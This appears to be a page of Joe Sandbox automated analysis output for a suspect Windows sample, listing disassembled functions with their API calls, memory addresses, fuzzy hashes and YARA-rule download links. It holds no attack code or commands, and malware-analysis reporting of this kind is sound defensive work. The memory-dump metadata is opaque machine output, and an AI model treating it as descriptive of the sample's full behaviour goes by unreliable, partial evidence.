Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: cf567291c84692d100e5ec609b282d55b3c5af0b5f3d357f2e8f357a6d06844b
Instruction ID: effdcd9541676c6323f3fad609c54d18bb0bf767b5f2530b550772909ae59cb2
Opcode Fuzzy Hash: cf567291c84692d100e5ec609b282d55b3c5af0b5f3d357f2e8f357a6d06844b
Instruction Fuzzy Hash: 1F418D70610204DFC715EF25DED6A5A77A5EB49308B50463AF804B73E2CBB9AC05CBAD

Function 00409330 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409376
GetLastError.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040937F

Strings

.tmp, xrefs: 0040935F

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 7ba2b511fbcbba0bdafc57409f78771f2ffb69bdc1885ec5b7c8c3418ce725e0
Instruction ID: 229665e4fb482f752e04f7b041ef1ce89d659938bfc828767b82506ffacbf3f4
Opcode Fuzzy Hash: 7ba2b511fbcbba0bdafc57409f78771f2ffb69bdc1885ec5b7c8c3418ce725e0
Instruction Fuzzy Hash: 7C213774A04208ABDB05EFA1C8429DFB7B9EF88304F50457BE901B73C2DA7C9E059A65

Function 00407749 Relevance: 3.3, APIs: 2, Instructions: 284
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
Instruction ID: 20d0a63744b7af467993d3e8aec565234b7be2d060ba20bf9fd199bb98bd5a4e
Opcode Fuzzy Hash: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
Instruction Fuzzy Hash: 8251D12294D2910FC7126B7849685A53FE0FE5331132E92FBC5C1AB1A3D27CA847D35B

Function 00401FD4 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00402148), ref: 00402017

Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction ID: b272be6629c35a549fc4f1c5a19e6e0df2414f51bb24a7fd7fb800939d1160d0
Opcode Fuzzy Hash: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction Fuzzy Hash: D4419CB2A40711DFDB108F69DEC562A77A0FB58314B25837AD984B73E1D378A842CB48

Function 00406FA0 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406FAA
LoadLibraryA.KERNEL32(00000000,00000000,00406FF4,?,00000000,00407012,?,00008000), ref: 00406FD9

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction ID: 292e1fc4e19851716b0ab93d2d43454b233f1d25ff8a05a0d03104374ea2dcbc
Opcode Fuzzy Hash: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction Fuzzy Hash: D6F08270A14704BEDB129FB68C5282ABBECEB4DB0475349BAF914A26D2E53C5C209568

Function 0040766C Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040768B
GetLastError.KERNEL32(?,?,?,00000000), ref: 00407693

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction ID: 64daf3b7b2b4cd691f255a674f922558070816022eb0a012369b73df1192a31e
Opcode Fuzzy Hash: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction Fuzzy Hash: B2E092766081016FD600D55EC881B9B37DCDFC5364F104536B654EB2D1D679EC108776

Function 0040762C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407643
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407652

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction ID: e2f452503b48da12a69c10a9d1416f2aa512a4714c212e67fea7d8588799396e
Opcode Fuzzy Hash: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction Fuzzy Hash: 69E012A1A081106ADB24A66E9CC5F6B6BDCCBC5724F14457BF504DB382D678DC0487BB

Function 004075C4 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004075DB
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004075E7

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction ID: 74cf86129294d2faf5969c20f66175129728110ffa3c668ef2bae8a95e28f18b
Opcode Fuzzy Hash: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction Fuzzy Hash: C4E04FB1600210AFDB10EEB98D81B9676D89F48364F0485B6EA14DF2C6D274DC00C766

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Function 00405280 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004053B6), ref: 0040529F

Part of subcall function 00404CDC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404CF9

Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
Instruction ID: b95c725f163960c8622ba1b0af82130980b93a97e76f79286a035b518bc8de08
Opcode Fuzzy Hash: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
Instruction Fuzzy Hash: 90314F75E01509ABCB00DF95C8C19EEB379FF84304F158577E815BB286E739AE068B98

Function 00407576 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Function 00407578 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Function 004069DC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00406A24,?,?,?,?,00000000,?,00406A39,00406D67,00000000,00406DAC,?,?,?), ref: 00406A07

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction ID: ccd219c895c276d3a4f2ed408fb3af00451e62210c6f1137e8185e88dac79a2a
Opcode Fuzzy Hash: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction Fuzzy Hash: A0E0ED30300304BBD301FBA6CC42E4ABBECDB8A708BA28476B400B2682D6786E108428

Function 004076C8 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction ID: d11fc940c1eb4d9ab9bd5ee1403c634941755763b259216c6d34bff68e3e8731
Opcode Fuzzy Hash: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction Fuzzy Hash: 6DE0ED766081106BD710A65AD880EAB67DCDFC5764F00407BF904DB291D574AC049676

Function 00407284 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00409127,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004072A3

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
Instruction ID: 7b38442d06f496379890204edef453c821f476d6c52b93f329ea0e63e965d40b
Opcode Fuzzy Hash: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
Instruction Fuzzy Hash: 17E0D8A0B8830136F22414544C87B77220E47C0700F10807E7700ED3C6D6BEA906815F

Function 004076AC Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,020B8000,0040A08C,00000000), ref: 004076B3

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction ID: f788b2e916ece263959a2b362e6cc5638f15ca068e5e6b6e193a7bb405067b9b
Opcode Fuzzy Hash: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction Fuzzy Hash: BEC04CA1A1410047CB40A6BE89C1A1666D85A4821530485B6B908DB297D679E8004666

Function 00406FFB Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction ID: c47f2f618e2971e07f5b1abb1c43dc6c143ad8b034d1ddbdae76011a93498253
Opcode Fuzzy Hash: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction Fuzzy Hash: 54B09B76A1C2415DE705DAD5745153863D4D7C47143A14977F104D35C0D53DA4144519

Function 00407017 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction ID: a55afa0689d716a84ca499c05243e055e04a08b2ab071a0afeb25d409e08decd
Opcode Fuzzy Hash: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction Fuzzy Hash: FFA022A8C08000B2CE00E2E08080A3C23283A88308BC08BA2320CB20C0C03CE008020B

Function 00406970 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,0040696C,?,00406649,?,?,00406D87,00000000,00406DAC,?,?,?,?,00000000,00000000), ref: 00406972

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
Opcode Fuzzy Hash: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction Fuzzy Hash:

Function 00407F10 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407FA0

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
Instruction ID: 1e7236936b067224bcb0a7c190bcfb18a105a15b1652d3161176e1d0ad605fa4
Opcode Fuzzy Hash: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
Instruction Fuzzy Hash: 43116371A042059BDB00EF19C881B5B7794AF44359F05807AF958AB2C6DB38E800CBAA

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Function 00407548 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00407558

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction ID: e7ddd8f09f86228f97b62737e097d00c20d119481f2284b048c56b7aa048eabb
Opcode Fuzzy Hash: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction Fuzzy Hash: 41D05E82B00A6017D615F2BE4D8869692D85F89685B08843AF654E77D1D67CEC00838D

